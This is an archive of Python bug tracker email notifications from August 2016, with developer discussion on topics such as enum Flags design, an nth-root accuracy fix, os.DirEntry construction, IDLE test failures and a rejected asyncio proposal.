Cannon) Date: Mon, 15 Aug 2016 16:42:06 +0000 Subject: [issue27767] Receive "A required privilege is not held by the Client" error message when Installing python on Windows 10 64 bit In-Reply-To: <1471260816.48.0.169081591166.issue27767@psf.upfronthosting.co.za> Message-ID: <1471279326.52.0.686853340594.issue27767@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- components: +Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware versions: +Python 2.7, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 12:44:12 2016 From: report at bugs.python.org (Brett Cannon) Date: Mon, 15 Aug 2016 16:44:12 +0000 Subject: [issue27767] Receive "A required privilege is not held by the Client" error message when Installing python on Windows 10 64 bit In-Reply-To: <1471260816.48.0.169081591166.issue27767@psf.upfronthosting.co.za> Message-ID: <1471279452.34.0.71295600271.issue27767@psf.upfronthosting.co.za> Brett Cannon added the comment: 1. Is this pre- or post-Anniversary update? 2. Is the PC administered by anyone other than yourself (e.g. is it a work machine)? 3. Are you trying to do a system-wide install or a personal install? 4. For at least Python 3.5 the installer does work as I have done it myself multiple times. ---------- nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 12:47:29 2016 From: report at bugs.python.org (Emanuel Barry) Date: Mon, 15 Aug 2016 16:47:29 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <1471279649.79.0.534855431524.issue26823@psf.upfronthosting.co.za> Emanuel Barry added the comment: Doc patch. ---------- stage: resolved -> patch review status: closed -> open Added file: http://bugs.python.org/file44120/short_tracebacks_doc_1.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 12:57:41 2016 From: report at bugs.python.org (Michael Lee) Date: Mon, 15 Aug 2016 16:57:41 +0000 Subject: [issue27723] Document typing.Text and typing.AnyStr In-Reply-To: <1470793243.78.0.0997445491252.issue27723@psf.upfronthosting.co.za> Message-ID: <1471280261.35.0.242256846072.issue27723@psf.upfronthosting.co.za> Michael Lee added the comment: Second revision attached below. ---------- Added file: http://bugs.python.org/file44121/document-text-and-anystr-2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 13:11:47 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 15 Aug 2016 17:11:47 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471281107.9.0.887121560789.issue27761@psf.upfronthosting.co.za> Mark Dickinson added the comment: Just for fun, here's a recipe for a correctly-rounded nth root operation for positive finite floats. I'm not suggesting using this in the business logic: it's likely way too slow (especially for large n), but it may have a use in the tests. The logic for the Newton iteration in floor_nroot follows that outlined in this Stack Overflow answer: http://stackoverflow.com/a/35276426 from math import frexp, ldexp def floor_nroot(x, n): """ For positive integers x, n, return the floor of the nth root of x. """ # Initial guess: here we use the smallest power of 2 that exceeds the nth # root. But any value greater than or equal to the target result will do. a = 1 << -(-x.bit_length() // n) while True: d = x // a**(n-1) if a <= d: return a a = ((n-1) * a + d) // n def nroot(x, n): """ Correctly-rounded nth root (n >= 2) of x, for a finite positive float x. """ if not (x > 0 and n >= 2): raise ValueError("x should be positive; n should be at least 2") m, e = frexp(x) rootm = floor_nroot(int(m * 2**53) << (53*n + (e-1)%n - 52), n) return ldexp(rootm + rootm % 2, (e-1)//n - 53) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 13:15:34 2016 From: report at bugs.python.org (Ivan Levkivskyi) Date: Mon, 15 Aug 2016 17:15:34 +0000 Subject: [issue27723] Document typing.Text and typing.AnyStr In-Reply-To: <1471280261.35.0.242256846072.issue27723@psf.upfronthosting.co.za> Message-ID: Ivan Levkivskyi added the comment: Looks good to me. 15 ??? 2016 18:57 "Michael Lee" ????: > > Michael Lee added the comment: > > Second revision attached below. > > ---------- > Added file: http://bugs.python.org/file44121/document-text-and- > anystr-2.patch > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 13:19:02 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 15 Aug 2016 17:19:02 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471281542.89.0.857143027699.issue27761@psf.upfronthosting.co.za> Mark Dickinson added the comment: > for positive finite floats ... assuming IEEE 754 binary64 format, of course. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 13:29:20 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 15 Aug 2016 17:29:20 +0000 Subject: [issue18844] allow weights in random.choice In-Reply-To: <1377537825.13.0.508607501106.issue18844@psf.upfronthosting.co.za> Message-ID: <1471282160.73.0.056697048077.issue18844@psf.upfronthosting.co.za> Raymond Hettinger added the comment: FWIW, I have four full days set aside for the upcoming pre-feature release sprint which is dedicated to taking time to thoughtfully evaluate pending feature requests. In the meantime, I'm contacting Alan Downey for a consultation for the best API for this. As mentioned previously, the generator version isn't compatible with the design of the rest of the module that allows streams to have their state saved and restored at arbitrary points in the sequence. One API would be to create a list all at once (like random.sample does). Another would be to have two steps (like str.maketrans and str.translate). Ideally, the API should integrate neatly with collections.Counter as a possible input for the weighting. Hopefully, Alan can also comment on the relative frequency of small integer weightings versus the general case (the former benefits from a design using random.choice() applied to Counter.elements() and the latter benefits from a design with accumulate() and bisect()). Note, this is a low priority feature (no real demonstrated need, there is already a recipe for it in the docs, and once the best API have been determined, the code is so simple that any of us could implement it in only a few minutes). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 13:40:09 2016 From: report at bugs.python.org (A. Skrobov) Date: Mon, 15 Aug 2016 17:40:09 +0000 Subject: [issue26415] Excessive peak memory consumption by the Python parser In-Reply-To: <1456182380.09.0.81920177296.issue26415@psf.upfronthosting.co.za> Message-ID: <1471282809.69.0.860354051259.issue26415@psf.upfronthosting.co.za> A. Skrobov added the comment: Xavier, the big picture description of my patch is in http://bugs.python.org/file43665/devguide_patch The heap fragmentation was observed by Victor, not by myself. Victor, could you please create a new ticket for your python_memleak.py reproducer? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 13:49:56 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 15 Aug 2016 17:49:56 +0000 Subject: [issue1442493] IDLE shell window gets very slow when displaying long lines Message-ID: <1471283396.21.0.543806409518.issue1442493@psf.upfronthosting.co.za> Terry J. Reedy added the comment: manual_wrap.patch patches OutputWindow (2.7) to arbitrarily and blindly wrap at 80 chars. OutputWindow is used directly for grep output, as well as the base for PyShell. The grep output format is currently "'{}: {}: {}'.format(filepath, linenum, codeline)". Output lines are typically (for me) > 80 chars and I would not want a fixed-column wrap. With a right click, one can go to the file and line and this should not be disabled. Ditto for tracebacks, where code lines are pre-wrapped (with an added indent) onto a second physical line. Wrap at 80 would wrap lines that were originally 80 before having the traceback indent added. Autowrap should only be applied to user stdout sent to Shell. Perhaps wrapping should have a window (80-100?) within which we look for a space. I have about concluded that we should add horizontal scrollbars anyway, since Python and IDLE output lines longer than 80 chars. To evaluate the patch further, I want to look at how the socket stream is being read. As long as we are modifying user output before inserting into the text widget, astral chars should be expanded into their unicode escapes. (There are multiple issue for astral chars. Tk 8.7 reportedly will handle them.) The replacement text should be tagged and colored as such. Wrapping should not break replacements. The same could be done for control chars to make them visible. (Astral char handling is needed for paths also!). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 13:57:11 2016 From: report at bugs.python.org (Ethan Furman) Date: Mon, 15 Aug 2016 17:57:11 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471283831.56.0.994937394332.issue23591@psf.upfronthosting.co.za> Ethan Furman added the comment: Serhiy's patch is only for IntFlags, and my patch hasn't yet fully incorporated his (many thanks for decompose!) For IntFlags I do not expect to have very many instances alive at once, especially since not-bitwise operators will lose the IntFlag class and become plain ints. Flags are closed. If the zero value is not specified the repr and str are: >>> Hah(0) >>> str(Hah(0)) 'Hah.0' (An RGB class might be: ) A question I have about IntFlags: If a third-party lib specifies that certain bits are reserved and should always be zero (or at least not changed), do we want to add some easy support for that? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 14:41:56 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 15 Aug 2016 18:41:56 +0000 Subject: [issue27038] Make os.DirEntry exist In-Reply-To: <1463413415.02.0.145090656269.issue27038@psf.upfronthosting.co.za> Message-ID: <20160815184153.67868.75355.0005D908@psf.io> Roundup Robot added the comment: New changeset a95d98086621 by Ned Deily in branch 'default': Issue #27736: Prevent segfault after interpreter re-initialization due https://hg.python.org/cpython/rev/a95d98086621 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 14:41:56 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 15 Aug 2016 18:41:56 +0000 Subject: [issue23968] rename the platform directory from plat-$(MACHDEP) to plat-$(PLATFORM_TRIPLET) In-Reply-To: <1429124647.47.0.946423694262.issue23968@psf.upfronthosting.co.za> Message-ID: <20160815184153.67868.58677.F5AAACCE@psf.io> Roundup Robot added the comment: New changeset ddc4bdae5e41 by Ned Deily in branch 'default': Issue #23968: Make OS X installer build script aware of renamed platform https://hg.python.org/cpython/rev/ddc4bdae5e41 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 14:41:57 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 15 Aug 2016 18:41:57 +0000 Subject: [issue27736] repeated Py_Initialize/PyRun_SimpleString/Py_Finalize segfaults In-Reply-To: <1470905187.92.0.13440650895.issue27736@psf.upfronthosting.co.za> Message-ID: <20160815184153.67868.39351.24DA7540@psf.io> Roundup Robot added the comment: New changeset a95d98086621 by Ned Deily in branch 'default': Issue #27736: Prevent segfault after interpreter re-initialization due https://hg.python.org/cpython/rev/a95d98086621 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 15:31:56 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 15 Aug 2016 19:31:56 +0000 Subject: [issue27769] IDLE: Replace All up, no wrap replaces one up, all down In-Reply-To: <1471274021.81.0.142329752999.issue27769@psf.upfronthosting.co.za> Message-ID: <1471289516.84.0.865152112039.issue27769@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Edited title to fit in the box. Minimal reproducer, which can become a test. File as follows, where '|' represent the cursor, not the character. a a| a Cntl-H, enter search for 'a', replace with 'b', check 'up', uncheck 'wrap', click Replace All. Result matches what you said. a b b Thanks for the report. This is definitely a bug. In the future, try to post a minimal example, such as the above, as well as a description. Whether I backport a fix depends on how easy it would be. ---------- stage: -> needs patch title: IDLE's "Replace All" with up direction and no wrapping replaces one upward and all downward entries instead of replacing all upward entries. -> IDLE: Replace All up, no wrap replaces one up, all down versions: +Python 3.6 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 15:45:35 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Mon, 15 Aug 2016 19:45:35 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471290335.42.0.360582641678.issue23591@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: So, in fact, your Flags are simply an overlayed namespace over int (the way to give some ints sticky names), and any int is accessible from any Flags, no matter whether it has a name or not? I must say that to me it seems radically different than (Int)Enum philosophy. class MyIntEnum(IntEnum): A = 1 >>> MyIntEnum(0) ValueError: 0 is not a valid MyIntEnum So, flags are not enums, nor they share the same principles (identity, exclusiveness). Why are they in the enum module at all? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 15:50:59 2016 From: report at bugs.python.org (Ned Deily) Date: Mon, 15 Aug 2016 19:50:59 +0000 Subject: [issue27736] repeated Py_Initialize/PyRun_SimpleString/Py_Finalize segfaults In-Reply-To: <1470905187.92.0.13440650895.issue27736@psf.upfronthosting.co.za> Message-ID: <1471290659.29.0.447989254272.issue27736@psf.upfronthosting.co.za> Ned Deily added the comment: I've applied the patch for 3.6.0a4 so the immediate issue is fixed. I wonder if it would be worthwhile adapting Simon's test case to add to the embedding test cases in Lib/test/test_capi.py. I'm going to leave the issue open for a while in case someone is interested in doing that. ---------- assignee: ned.deily -> priority: release blocker -> stage: commit review -> test needed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 16:07:17 2016 From: report at bugs.python.org (Ethan Furman) Date: Mon, 15 Aug 2016 20:07:17 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471291637.57.0.143678544076.issue23591@psf.upfronthosting.co.za> Ethan Furman added the comment: The zero value is special in that it represents a flag with nothing set. Excluding it has its own problems, but if you have an argument for that behavior I'm listening. Any other non-Flag value is not allowed, and will raise an error (IntFlags won't share this behavior). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 16:17:05 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Mon, 15 Aug 2016 20:17:05 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471292225.72.0.793300144944.issue23591@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: I think I have written about all the options in detail in http://bugs.python.org/msg272732. If I see it right, your ".0" corresponds to what I called ".__NONE__". It is a "right way" to do it, but for it to be complete, you also have to add ".__ALL__", representing -1, as its complement. If you do both of these, I'm fine with it, and we can discuss further problems... :-) ... like inverting representation. If you have non-powers of 2 named, how do you know which exact flags a value consists of? class Weird(Flags): AB = 3 C = 4 BC = 6 A = 1 what is Weird(7)? Weird.(AB|C) or Weird.(A|BC)? What if you don't have C (or A) as a name? Are you going to employ a minimal exact cover algorithm? :-O ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 16:40:26 2016 From: report at bugs.python.org (Ethan Furman) Date: Mon, 15 Aug 2016 20:40:26 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471293626.09.0.619516152275.issue23591@psf.upfronthosting.co.za> Ethan Furman added the comment: '.0' does not have a name unless the user defines it; similarly, '.-1' does not have a name unless the user defines it. For Flags, negative numbers are supported in order to specify which flags are desired, but the final representation will be zero or positive: >>> class Hah(enum.Flags): ... this, that, these, those, thuse ... >>> Hah(0) >>> Hah(-1) The algorithm is simple: start with the biggest Flag and mask off matching bits until all bits are are matched. If any unmatched bits remain an error is raised. If a user does horrible things like your Weird class then any breakage is on them. As it stands, Weird(7) would be , and if A was not defined an error would be raised. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 17:06:24 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Mon, 15 Aug 2016 21:06:24 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471295184.14.0.957824088535.issue23591@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: I suppose you'll also forbid adding new members to Flags, just like Enum does, right? (https://docs.python.org/3/library/enum.html#restricted-subclassing-of-enumerations) Otherwise cropping -1 at a fixed number of bits might be very counterintuitive. But still, your "simple algorithm" seems too simple. You might easily produce values you won't be able to interpret. class ThirdBitMustBeSet(Flags): FIRST = 5 SECOND = 6 >>> ThirdBitMustBeSet.FIRST | ThirdBitMustBeSet.SECOND produces error when printing, but otherwise works completely fine. A debugging nightmare. :-/ I'd at least ensure each bit has a separate name if you're going to use that scheme. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 17:24:29 2016 From: report at bugs.python.org (Ethan Furman) Date: Mon, 15 Aug 2016 21:24:29 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471296269.16.0.478707472864.issue23591@psf.upfronthosting.co.za> Ethan Furman added the comment: The values used in Flags are an implementation detail. The expected, and supported, use is naming the flags: class Color(Flags): Red, Green, Blue even custom names can be set using this method: >>> class Color(enum.Flags): ... red, green, blue ... black = red & green & blue ... >>> list(Color) [, , , ] >>> class Color(enum.Flags): ... red, green, blue ... purple = red | blue ... >>> list(Color) [, , , ] >>> Color(5) >>> Color(3) I'll have to think about ensuring each bit is named -- it's only a (potential) problem if the values are specified manually. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 17:32:51 2016 From: report at bugs.python.org (Ivan Levkivskyi) Date: Mon, 15 Aug 2016 21:32:51 +0000 Subject: [issue25958] Implicit ABCs have no means of "anti-registration" In-Reply-To: <1451168802.83.0.911068284232.issue25958@psf.upfronthosting.co.za> Message-ID: <1471296771.66.0.0463030654453.issue25958@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: I have manually "rebased" the patch taking into account that part of the work has been done in http://bugs.python.org/issue25987 Serhiy, Martin could you please review the latest patch and check that everything is OK? Andrew did a really good job and I would like this to land in 3.6 ---------- Added file: http://bugs.python.org/file44122/abarnert_rebased.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 18:02:50 2016 From: report at bugs.python.org (Ivan Levkivskyi) Date: Mon, 15 Aug 2016 22:02:50 +0000 Subject: [issue25958] Implicit ABCs have no means of "anti-registration" In-Reply-To: <1451168802.83.0.911068284232.issue25958@psf.upfronthosting.co.za> Message-ID: <1471298570.76.0.0861189501335.issue25958@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: Oops, sorry, forgot one import, all tests pass with the corrected patch. ---------- Added file: http://bugs.python.org/file44123/abarnert_rebased2.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 18:09:11 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 15 Aug 2016 22:09:11 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1471278234.3.0.235520573466.issue12345@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: Thanks, fixed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 18:10:02 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 15 Aug 2016 22:10:02 +0000 Subject: [issue27723] Document typing.Text and typing.AnyStr In-Reply-To: <1470793243.78.0.0997445491252.issue27723@psf.upfronthosting.co.za> Message-ID: <1471299002.42.0.0176174732296.issue27723@psf.upfronthosting.co.za> Guido van Rossum added the comment: Committed and merged to 3.6. changeset: 102670:d5872d0863c8 branch: 3.5 parent: 102663:27a99a722828 user: Guido van Rossum date: Mon Aug 15 15:06:38 2016 -0700 summary: Add docs for typing.AnyStr and typing.Text. By Michael Lee. changeset: 102672:705416c5909e tag: tip parent: 102671:247ecbae325c parent: 102670:d5872d0863c8 user: Guido van Rossum date: Mon Aug 15 15:08:11 2016 -0700 summary: Add docs for typing.AnyStr and typing.Text. By Michael Lee. (Merge 3.5->3.6) ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 18:11:33 2016 From: report at bugs.python.org (Brendan Moloney) Date: Mon, 15 Aug 2016 22:11:33 +0000 Subject: [issue27038] Make os.DirEntry exist In-Reply-To: <1463413415.02.0.145090656269.issue27038@psf.upfronthosting.co.za> Message-ID: <1471299093.71.0.413470299844.issue27038@psf.upfronthosting.co.za> Brendan Moloney added the comment: The pathlib Path class is different enough from the DirEntry class that it doesn't really help my goal of allowing a function to work with either a DirEntry or a plain (str) path. These functions are going to be working with DirEntry objects generated by scandir 99% of the time so that we can leverage the improved performance, but I want to allow users to pass in plain paths as well. If the stdlib doesn't allow me to create my own DirEntry object from a plain path I will probably end up creating some sort of FakeDirEntry class that mimics a DirEntry, and that seems a bit silly and not a great use of time and effort. If the constructor currently "requires low-level data coming from readdir() or FindFirstFile()" then why not a class method that just takes a path and calls stat on it? You could document the fact that it calls stat and that it doesn't have any of the performance benefits of using scandir. Consenting adults and all that... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 18:25:51 2016 From: report at bugs.python.org (Ned Deily) Date: Mon, 15 Aug 2016 22:25:51 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option In-Reply-To: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> Message-ID: <1471299951.14.0.278002145958.issue27714@psf.upfronthosting.co.za> Ned Deily added the comment: I just noticed another similar test dependency, this time between test_idle and test_tix. If run with -j set, the problem is not seen. This is still present in 3.6.0a4: $ python3.6 -m test -uall -w test_idle test_tix Run tests sequentially 0:00:00 [1/2] test_idle can't invoke "event" command: application has been destroyed while executing "event generate $w <>" (procedure "ttk::ThemeChanged" line 6) invoked from within "ttk::ThemeChanged" 0:00:02 [2/2] test_tix test test_tix crashed -- Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/test/libregrtest/runtest.py", line 167, in runtest_inner the_module = importlib.import_module(abstest) File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/importlib/__init__.py", line 126, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "", line 996, in _gcd_import File "", line 979, in _find_and_load File "", line 968, in _find_and_load_unlocked File "", line 673, in _load_unlocked File "", line 667, in exec_module File "", line 222, in _call_with_frames_removed File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/test/test_tix.py", line 11, in from tkinter import tix, TclError File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/tkinter/tix.py", line 30, in from tkinter import _cnfmerge, _default_root ImportError: cannot import name '_default_root' test_tix failed 1 test OK. 1 test failed: test_tix Re-running failed tests in verbose mode Re-running test 'test_tix' in verbose mode test test_tix crashed -- Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/test/libregrtest/runtest.py", line 167, in runtest_inner the_module = importlib.import_module(abstest) File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/importlib/__init__.py", line 126, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "", line 996, in _gcd_import File "", line 979, in _find_and_load File "", line 968, in _find_and_load_unlocked File "", line 673, in _load_unlocked File "", line 667, in exec_module File "", line 222, in _call_with_frames_removed File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/test/test_tix.py", line 11, in from tkinter import tix, TclError File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/tkinter/tix.py", line 30, in from tkinter import _cnfmerge, _default_root ImportError: cannot import name '_default_root' 1 test failed again: test_tix Total duration: 0:00:03 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 19:01:24 2016 From: report at bugs.python.org (Ned Deily) Date: Mon, 15 Aug 2016 23:01:24 +0000 Subject: [issue27761] Private _nth_root function loses accuracy In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za> Message-ID: <1471302084.64.0.680734781789.issue27761@psf.upfronthosting.co.za> Ned Deily added the comment: Since test_NTh_Root is failing on so many different buildbot platforms and in different ways, I'm marking this as a "release blocker". It would be very helpful to get this resolved prior to 3.6.0b1 next month. Suggest checking the test results outputs of the various 3x build slaves to ensure all the cases have been addressed. https://www.python.org/dev/buildbot/ ---------- nosy: +ned.deily priority: normal -> release blocker stage: -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 19:05:40 2016 From: report at bugs.python.org (Ned Deily) Date: Mon, 15 Aug 2016 23:05:40 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za> Message-ID: <1471302340.05.0.661641106163.issue27181@psf.upfronthosting.co.za> Ned Deily added the comment: FTR, multiple platforms are failing in various ways, not just PPC64, so Issue27761 was expanded to cover them and has been marked as a "release blocker". ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 19:24:30 2016 From: report at bugs.python.org (Brett Cannon) Date: Mon, 15 Aug 2016 23:24:30 +0000 Subject: [issue27038] Make os.DirEntry exist In-Reply-To: <1463413415.02.0.145090656269.issue27038@psf.upfronthosting.co.za> Message-ID: <1471303470.63.0.51137033459.issue27038@psf.upfronthosting.co.za> Brett Cannon added the comment: If all you want is to extract the path representation from an os.DirEntry instance and continue to work with strings/bytes then you can use os.fspath() which is new in Python 3.6 to get the representation: https://docs.python.org/3.6/library/os.html#os.fspath . ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 19:42:41 2016 From: report at bugs.python.org (Decorater) Date: Mon, 15 Aug 2016 23:42:41 +0000 Subject: [issue27770] remove run_until_complete Message-ID: <1471304561.4.0.720328212485.issue27770@psf.upfronthosting.co.za> New submission from Decorater: I use a library that uses run_until_complete that is used for HTTP connections. However it does not work well when you want to reconnect anything that makes it start via recursion. So, I am suggesting the removal of run_until_complete and then tell everyone that uses it to replace their code that had it with run_forever. ( and to have their start function to create a event loop so that way if the loop is closed recursing to restart it after closed would make it not throw a RuntimeError) run_forever seems to be almost exactly alike run_until_complete except it can run forever. Pros with removing run_until_complete: + A lot easier to handle. + No pain from run_until_complete. + Cleanup some *code* in asyncio. + Helps with heavy http load for reconnecting websockets if they use run_forever instead. Cons: - Existing code from libs or anyone that uses run_until_complete will break. - run_forever can still throw a RuntimeError if you try to use run_forever after closing a event loop. - Event Loop would have to be recreated or reopened after being closed. ---------- components: asyncio messages: 272809 nosy: Decorater, gvanrossum, haypo, yselivanov priority: normal severity: normal status: open title: remove run_until_complete type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 19:45:27 2016 From: report at bugs.python.org (Brendan Moloney) Date: Mon, 15 Aug 2016 23:45:27 +0000 Subject: [issue27038] Make os.DirEntry exist In-Reply-To: <1463413415.02.0.145090656269.issue27038@psf.upfronthosting.co.za> Message-ID: <1471304727.25.0.643284910026.issue27038@psf.upfronthosting.co.za> Brendan Moloney added the comment: The functions were all written around DirEntry objects since that is what they will be processing 99% of the time and I want to do that as efficiently as possible. Converting a DirEntry object into a str representation doesn't help me with my use case at all. I want to be able to do it the other way around: str -> DirEntry ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 19:48:32 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 15 Aug 2016 23:48:32 +0000 Subject: [issue27770] remove run_until_complete In-Reply-To: <1471304561.4.0.720328212485.issue27770@psf.upfronthosting.co.za> Message-ID: <1471304912.27.0.722402211649.issue27770@psf.upfronthosting.co.za> Guido van Rossum added the comment: This sounds like you're overreacting -- just because you were bit by some code that used run_until_complete() incorrectly that doesn't mean we should break everybody's code that is using it (most I'm sure are using it correctly). If you want help understanding what went wrong, use the python-tulip at googlegroups.com mailing list. ---------- resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 20:58:37 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 16 Aug 2016 00:58:37 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <20160816005833.24838.44095.76A653FB@psf.io> Roundup Robot added the comment: New changeset 86d062edb6ab by Nick Coghlan in branch 'default': Issue #26823: fix traceback abbreviation docs https://hg.python.org/cpython/rev/86d062edb6ab ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 20:59:35 2016 From: report at bugs.python.org (Steve Dower) Date: Tue, 16 Aug 2016 00:59:35 +0000 Subject: [issue27756] Add pyd icon for 3.6 In-Reply-To: <1471119973.85.0.0311186784534.issue27756@psf.upfronthosting.co.za> Message-ID: <1471309175.2.0.0278951917164.issue27756@psf.upfronthosting.co.za> Steve Dower added the comment: It's certainly very easy to add an icon for pyd files. The tricky part is getting an icon we can redistribute - fairly sure one derived from a Windows icon is not redistributable. Let me see if I can get one of the designers at work to put something together. Maybe it's time for a whole new set :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 20:59:43 2016 From: report at bugs.python.org (Nick Coghlan) Date: Tue, 16 Aug 2016 00:59:43 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <1471309183.78.0.307058596578.issue26823@psf.upfronthosting.co.za> Nick Coghlan added the comment: Thanks again Emanuel - I incorporated your suggested changes along with some other ones I had already made locally. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 21:00:01 2016 From: report at bugs.python.org (Nick Coghlan) Date: Tue, 16 Aug 2016 01:00:01 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <1471309201.01.0.0426173609686.issue26823@psf.upfronthosting.co.za> Changes by Nick Coghlan : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org 